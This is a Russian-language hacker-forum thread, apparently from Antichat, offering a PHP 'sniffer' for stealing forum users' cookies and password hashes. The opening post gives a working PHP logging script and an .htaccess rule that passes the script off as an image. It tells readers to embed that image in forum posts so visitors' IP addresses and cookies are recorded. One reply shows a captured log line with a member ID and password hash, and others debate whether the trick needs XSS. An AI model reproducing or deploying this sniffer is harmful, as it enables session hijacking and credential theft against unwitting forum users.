Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - php sniffer (https://forum.antichat.xyz/showthread.php?t=10399)

Воруем хэш!

Подходит для всех форумов.

1. Регимся на jino-net.ru
2. Загружаем туда файлы :
image.gif
sniff.php
.htaccess
log.txt

Image.gif - любое изображение.
Sniff.php должен быть след. содержания:

PHP код:


		
			
<?  $log="log.txt";  $file = fopen ($log, "a+");  $qu=UrlDecode(getenv('QUERY_STRING'));  $ref=UrlDecode(getenv('HTTP_REFERER'));  $ip=getenv('REMOTE_ADDR');  $brow=getenv('HTTP_USER_AGENT');  $upc=getenv('REMOTE_HOST');  $cookie=getenv('HTTP_COOKIE');  $now = getdate();   $nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds'];  $str="[$nowstring] IP=$ip Cookie=$cookie Browser=$brow REFERER=$ref QUERY=$qu\n";  fputs ($file, $str);  fclose($file);  header('Location: image.gif');  ?>

.htaccess такого содержания:

Код:

RewriteEngine On

RewriteRule image.gif sniff.php

Далее пишем на форуме:
в тэге IMG пишем линк к image.gif

На log.txt ставин chmod 777 и всё!
Куки у нас!

оффтоп очень удобное окошко с php кодом...

<На log.txt ставин chmod 777 и всё!

Что это значит и как это делать?

Да ты просто гений! ))))
Правда это работает так же как и снифак на ачате... но эт неважно!
А сказать прикол? кроме реферера ничего к тебе не придёт! там должна быть хсс что сразу отметает из 100% 90% =))))

2Ван никсовая команда chmod... тут он меняет права доступа к файлу

Цитата:

Сообщение от ZaCo

Да ты просто гений! ))))
А сказать прикол? кроме реферера ничего к тебе не придёт!

Да ладно? Ко мне уже приходили куки с форума ipb 2.0.4

Вот что пришло:

Код:

[29.10.2005 23:54:16] IP=xxxxxxx Cookie=bbmode=0; anonlogin=-1; member_id=2; pass_hash=65ab52b200fdcc7f2c80d60bb1cc9bff; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1130599467%3B%7D Browser=Opera/8.50 (Windows NT 5.1; U; ru) REFERER=http://xxxxxxxxxxxxxxxx QUERY=

2degeneration x: хз. там понимаешь штука со снифаком какая - когда ты его запихиваешь например в <IMG> тебе необходимо(для получения куксов) прикреплять ещё и document.cookie это можно сделать только с помощью хсс! Ну сам подумай так бы все сайты ломались

на phpbb это не работает

Для phpbb эксплойтов просто завались...